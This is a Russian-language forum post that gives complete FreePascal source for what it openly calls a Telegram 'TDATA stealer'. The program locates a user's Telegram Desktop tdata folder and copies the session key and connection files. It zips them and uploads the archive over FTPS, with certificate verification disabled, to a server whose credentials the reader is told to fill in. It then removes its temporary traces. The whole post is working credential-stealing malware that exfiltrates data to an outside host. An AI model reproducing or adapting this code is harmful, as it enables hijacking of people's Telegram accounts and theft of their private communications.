Admin
Администратор
Пример реализации функционала стилера ТГ (TDATA) на FreePascal
Всем привет! Хочу показать примерную реализацию стилера TDATA на FreePascal:
Для работы этого кода тебе понадобятся юниты zipper (обычно в составе fcl-zip) и ftpclient (обычно в составе fcl-web). Убедись, что они установлены и доступны твоему компилятору Free Pascal. (Рекомендую IDE Lazarus).
Код:
Код:
program backuptelegramsessioncompact;
{$MODE DELPHI} // Для удобной работы со строками - включаем режим Delphi
{$H+} // Строки по умолчанию AnsiString - ускоряем операции со строками
uses
SysUtils, // Базовые системные утилиты (FileExists, CopyFile, RenameFile, CreateDir, PathDelim, FormatDateTime, ExtractFileName, IncludeTrailingPathDelimiter, DeleteFile)
FileUtil, // Утилиты для работы с файлами и директориями (FindAllFiles, DeleteDirectory, ForceDirectories, GetUserDir)
DateUtils, // Утилиты для работы с датами и временем (функция Now)
Zipper, // Юнит для работы с ZIP архивами (класс TZipper)
Classes, // Базовые классы (TStringList)
IdFTP, // Юнит для работы с FTP из библиотеки Indy (класс TIdFTP)
IdExplicitTLSClientServerBase, IdSSLOpenSSL, IdSSLOpenSSLHeaders; // Юниты с определениями для Explicit TLS и работой с SSL FTP
var
PathUsr: string; // Переменная для хранения пути к домашней директории пользователя
BaseTelegramPath: string; // Переменная для хранения базового пути к данным Telegram Desktop
TdataPath: string; // Переменная для хранения пути к папке tdata
ConnHashPath: string; // Переменная для хранения пути к временной папке connection_hash
MapPath: string; // Переменная для хранения пути к временной папке map
ArchiveName: string; // Переменная для хранения имени ZIP архива (дата и время)
ZipFilePath: string; // Переменная для хранения полного пути к временному ZIP файлу
FinalZipFilePath: string; // Переменная для хранения полного пути к финальному ZIP файлу
FileName: string; // Переменная для итерации по файлам в цикле FindAllFiles
ZipFileObj: TZipper; // Объект для работы с ZIP архивом
FTPClient: TIdFTP; // Объект для работы с FTP клиентом из библиотеки Indy
FileList: TStringList; // Список файлов для поиска
SSLHandler: TIdSSLIOHandlerSocketOpenSSL; // Объявляем переменную для обработчика SSL/TLS
// --- Конфигурация FTP ---
// >>> Вставь сюда свои данные FTP, братела! <<<
const
FTPHost = '127.0.0.1'; // Адрес FTP сервера - замени на свой
FTPPort = 21; // Порт FTP сервера (обычно 21)
FTPUser = 'ftp_user1'; // Логин для подключения к FTP - замени на свой
FTPPass = '12345678'; // Пароль для подключения к FTP - замени на свой
FTPRemoteDir = '/'; // Удаленная директория на FTP сервере - замени на свою
// -------------------------
begin // Здесь начинается основной исполняемый код нашей программы
Writeln('--- Запуск компактного бэкапа сессии Telegram ---'); // Выводим сообщение о старте программы
// 1. Получаем пути и имя архива
PathUsr := GetUserDir; // Получаем путь к домашней директории пользователя (из FileUtil)
// Формируем путь к папке Telegram Desktop в зависимости от операционной системы
{$IFDEF WINDOWS}
BaseTelegramPath := IncludeTrailingPathDelimiter(PathUsr) + 'AppData' + PathDelim + 'Roaming' + PathDelim + 'Telegram Desktop' + PathDelim;
{$ELSE}
BaseTelegramPath := IncludeTrailingPathDelimiter(PathUsr) + '.local' + PathDelim + 'share' + PathDelim + 'TelegramDesktop' + PathDelim + 'tdata' + PathDelim;
{$ENDIF}
TdataPath := BaseTelegramPath + 'tdata' + PathDelim; // Формируем путь к папке tdata
ConnHashPath := TdataPath + 'connection_hash' + PathDelim; // Формируем путь к временной папке connection_hash
MapPath := TdataPath + 'map' + PathDelim; // Формируем путь к временной папке map
ArchiveName := FormatDateTime('dd_mm_yy_hh_nn', Now); // Генерируем имя архива на основе текущей даты и времени
ZipFilePath := BaseTelegramPath + 'session.zip'; // Устанавливаем временное имя и путь для ZIP архива
FinalZipFilePath := BaseTelegramPath + ArchiveName + '.zip'; // Устанавливаем финальное имя и путь для ZIP архива
// Проверяем существование папки tdata
if not DirectoryExists(TdataPath) then // Проверяем, существует ли папка tdata
begin
Writeln('Ошибка: Папка tdata не найдена по пути: ' + TdataPath); // Выводим ошибку если папка не найдена
Writeln('Убедитесь, что Telegram Desktop установлен и запускался хотя бы раз.'); // Подсказка пользователю
Exit; // Выходим из программы
end;
// 2. Создаем временные директории (ForceDirectories создает и родительские, если нужно)
Writeln('Создание временных директорий...'); // Сообщаем о создании директорий
try
ForceDirectories(ConnHashPath); // Создаем папку connection_hash (и родительские, если нужно)
ForceDirectories(MapPath); // Создаем папку map (и родительские, если нужно)
except
on E: Exception do // Если произошла ошибка при создании директорий
begin
Writeln('Ошибка при создании директорий: ' + E.Message); // Выводим сообщение об ошибке
Exit; // Выходим из программы
end;
end;
// 3. Копируем нужные файлы в временные директории
Writeln('Копирование файлов...'); // Сообщаем о копировании файлов
try
// Инициализируем список файлов
FileList := TStringList.Create; // Создаем объект для хранения списка найденных файлов
try
// Копируем файлы по паттерну D877F783D5D3EF8?* из tdata в map
// Этот паттерн ищет файлы, начинающиеся с D877F783D5D3EF8 (файлы карт Telegram)
FindAllFiles(FileList, TdataPath, 'D877F783D5D3EF8*', False); // Ищем файлы по паттерну в папке tdata (не рекурсивно)
for FileName in FileList do // Перебираем все найденные файлы
begin
if FileExists(FileName) then // Проверяем, существует ли найденный файл
CopyFile(FileName, MapPath + ExtractFileName(FileName)); // Копируем файл в папку map
end;
FileList.Clear; // Очищаем список для следующего поиска
// Копируем файлы по паттерну ??????????* из tdata в connection_hash
// Этот паттерн ищет файлы с именем длиной >= 10 символов (файлы хешей соединений)
FindAllFiles(FileList, TdataPath, '??????????*', False); // Ищем файлы по паттерну в папке tdata (не рекурсивно)
for FileName in FileList do // Перебираем все найденные файлы
begin
if FileExists(FileName) then // Проверяем, существует ли найденный файл
CopyFile(FileName, ConnHashPath + ExtractFileName(FileName)); // Копируем файл в папку connection_hash
end;
finally
FileList.Free; // Освобождаем память из-под списка файлов
end;
except
on E: Exception do // Если произошла ошибка при копировании
begin
Writeln('Ошибка при копировании файлов: ' + E.Message); // Выводим сообщение об ошибке
// Продолжаем выполнение, так как это не критично для создания архива
end;
end;
// 4. Создаем ZIP архив
Writeln('Создание ZIP архива...'); // Сообщаем о создании архива
ZipFileObj := nil; // Инициализируем объект ZIP как NIL
try
try
ZipFileObj := TZipper.Create; // Создаем объект TZipper для работы с ZIP архивами
ZipFileObj.FileName := ZipFilePath; // Устанавливаем имя файла архива
// Добавляем содержимое директории map в архив
if DirectoryExists(MapPath) then // Проверяем существование папки map
begin
FileList := TStringList.Create; // Создаем новый список для файлов
try
FindAllFiles(FileList, MapPath, '*', False); // Находим все файлы в папке map
for FileName in FileList do // Перебираем все найденные файлы
begin
ZipFileObj.Entries.AddFileEntry(FileName, 'map/' + ExtractFileName(FileName)); // Добавляем файл в архив в папку map
end;
finally
FileList.Free; // Освобождаем память
end;
end;
// Добавляем содержимое директории connection_hash в архив
if DirectoryExists(ConnHashPath) then // Проверяем существование папки connection_hash
begin
FileList := TStringList.Create; // Создаем новый список для файлов
try
FindAllFiles(FileList, ConnHashPath, '*', False); // Находим все файлы в папке connection_hash
for FileName in FileList do // Перебираем все найденные файлы
begin
ZipFileObj.Entries.AddFileEntry(FileName, 'connection_hash/' + ExtractFileName(FileName)); // Добавляем файл в архив в папку connection_hash
end;
finally
FileList.Free; // Освобождаем память
end;
end;
ZipFileObj.ZipAllFiles; // Выполняем создание ZIP архива со всеми добавленными файлами
Writeln('ZIP архив успешно создан: ' + ZipFilePath); // Сообщаем об успешном создании
except
on E: Exception do // Если произошла ошибка при создании ZIP
begin
Writeln('Ошибка при создании ZIP архива: ' + E.Message); // Выводим сообщение об ошибке
// Очищаем временные файлы при ошибке
if DirectoryExists(ConnHashPath) then // Проверяем существование папки
DeleteDirectory(ConnHashPath, False); // Удаляем временную папку connection_hash
if DirectoryExists(MapPath) then // Проверяем существование папки
DeleteDirectory(MapPath, False); // Удаляем временную папку map
if FileExists(ZipFilePath) then // Проверяем существование файла
DeleteFile(ZipFilePath); // Если временный ZIP файл успел создаться, удаляем его
Exit; // Выходим из программы после критической ошибки
end;
end;
finally
// Этот блок выполняется всегда, даже если произошла ошибка
if Assigned(ZipFileObj) then // Проверяем, был ли создан объект TZipper
ZipFileObj.Free; // Освобождаем память из-под объекта ZIP
end;
// 5. Удаляем временные директории
Writeln('Удаление временных директорий...'); // Сообщаем об удалении временных директорий
try
if DirectoryExists(ConnHashPath) then // Проверяем существование папки
DeleteDirectory(ConnHashPath, False); // Удаляем connection_hash
if DirectoryExists(MapPath) then // Проверяем существование папки
DeleteDirectory(MapPath, False); // Удаляем map
Writeln('Временные директории удалены.'); // Сообщаем об успешном удалении
except
on E: Exception do // Если произошла ошибка при удалении
begin
Writeln('Ошибка при удалении временных директорий: ' + E.Message); // Выводим сообщение об ошибке
// Продолжаем работу, так как это не критично
end;
end;
// 6. Переименовываем ZIP архив
Writeln('Переименование ZIP архива...'); // Сообщаем о переименовании архива
try
if FileExists(FinalZipFilePath) then // Проверяем, не существует ли уже файл с финальным именем
DeleteFile(FinalZipFilePath); // Если существует, удаляем его
RenameFile(ZipFilePath, FinalZipFilePath); // Переименовываем временный ZIP файл в финальное имя с датой
Writeln('ZIP архив переименован в: ' + FinalZipFilePath); // Сообщаем об успешном переименовании
except
on E: Exception do // Если произошла ошибка при переименовании
begin
Writeln('Ошибка при переименовании ZIP архива: ' + E.Message); // Выводим сообщение об ошибке
Exit; // Выходим из программы после критической ошибки
end;
end;
// 7. Отправка файла по FTP
Writeln('Подключение к FTP и отправка файла...'); // Сообщаем о начале работы с FTP
FTPClient := nil; // Инициализируем объект FTP как NIL
SSLHandler := nil; // Инициализируем объект SSLHandler как NIL на всякий случай
try
try
FTPClient := TIdFTP.Create(nil); // Создаем объект TIdFTP (Indy FTP Client) без владельца
// >>> Создаем объект SSL IOHandler <<<
SSLHandler := TIdSSLIOHandlerSocketOpenSSL.Create(nil); // Создаем объект SSL/TLS обработчика
// >>> Братела, ослабляем гайки проверки сертификата для работы с FileZilla с самоподписанным сертификатом! <<<
// ЭТО ВАЖНО для обхода "SSL negotiation failed" при использовании FileZilla с самоподписанным сертификатом.
// ВНИМАНИЕ: В продакшене или при работе с чужими серверами это СНИЖАЕТ БЕЗОПАСНОСТЬ!
// Используй ОСТОРОЖНО!
SSLHandler.SSLOptions.VerifyMode := []; // Устанавливаем пустой набор проверок. Отключает большинство проверок сертификата.
// >>> Явно указываем использовать метод TLSv1.2 для совместимости с FileZilla <<<
SSLHandler.SSLOptions.Method := sslvTLSv1_2;
// >>> Ограничиваем разрешенные версии протокола только TLSv1.2 <<<
// Это может помочь, если сервер пытается договориться на чем-то другом, что Indy некорректно обрабатывает после handshake.
SSLHandler.SSLOptions.SSLVersions := [sslvTLSv1_2]; // Указываем, какие версии протокола разрешены
// Настройка параметров подключения к FTP серверу
FTPClient.Host := FTPHost; // Устанавливаем адрес хоста из константы
FTPClient.Port := FTPPort; // Устанавливаем порт из константы (для Explicit TLS обычно 21)
FTPClient.Username := FTPUser; // Устанавливаем имя пользователя из константы
FTPClient.Password := FTPPass; // Устанавливаем пароль из константы
// >>> Привязываем SSL IOHandler к FTP клиенту <<<
FTPClient.IOHandler := SSLHandler; // Указываем FTP клиенту использовать этот обработчик для шифрования
// Eсли FTP сервак требует FTPS (Explicit TLS), оставляем это. FileZilla по умолчанию так работает.
FTPClient.UseTLS := utUseExplicitTLS; // Указываем клиенту использовать явное TLS перед логином
// Добавляем эти строки для FileZilla:
FTPClient.Passive := True; // FileZilla лучше работает в пассивном режиме
Writeln('Подключение к ' + FTPHost + ':' + IntToStr(FTPPort) + '...'); // Сообщаем о попытке подключения
// >>> Подключаемся! Тут произойдет SSL Negotiation! <<<
// Если все настройки SSLOptions правильные и либы OpenSSL в порядке,
// то negotiation должен пройти, и мы перейдем к отправке команд USER/PASS по TLS.
FTPClient.Connect; // Выполняем подключение к FTP серверу.
Writeln('Подключено и авторизовано.'); // Сообщаем об успешном подключении и авторизации
// Если мы дошли сюда, TLS соединение установлено.
// Теперь команды ChangeDir, Put и Disconnect будут идти по зашифрованному каналу.
FTPClient.ChangeDir(FTPRemoteDir); // Переходим в указанную удаленную директорию на сервере
Writeln('Перешли в директорию: ' + FTPRemoteDir); // Сообщаем об успешном переходе
// Отправка файла на FTP сервер
Writeln('Отправка файла: ' + FinalZipFilePath + ' -> ' + ExtractFileName(FinalZipFilePath)); // Сообщаем об отправке файла
FTPClient.Put(FinalZipFilePath, ExtractFileName(FinalZipFilePath)); // Отправляем локальный файл на сервер
Writeln('Файл успешно отправлен.'); // Сообщаем об успешной отправке
// Отключение от FTP сервера
Writeln('Отключение от FTP...'); // Сообщаем об отключении
FTPClient.Disconnect; // Выполняем отключение от FTP сервера
Writeln('Отключено.'); // Сообщаем об успешном отключении
except
on E: Exception do // Если произошла ошибка при работе с FTP
begin
Writeln('Ошибка при работе с FTP: ' + E.Message); // Выводим сообщение об ошибке
// Не выходим из программы, так как файл бэкапа уже создан локально
end;
end;
finally
// Этот блок выполняется всегда, даже если произошла ошибка
if Assigned(FTPClient) then // Проверяем, был ли создан объект FTP клиента
FTPClient.Free; // Освобождаем память из-под объекта FTP клиента
// >>> Освобождаем память из-под SSL IOHandler <<<
if Assigned(SSLHandler) then // Проверяем, был ли создан объект SSL IOHandler (он мог не создаться при ошибке)
SSLHandler.Free; // Освобождаем память
end;
end.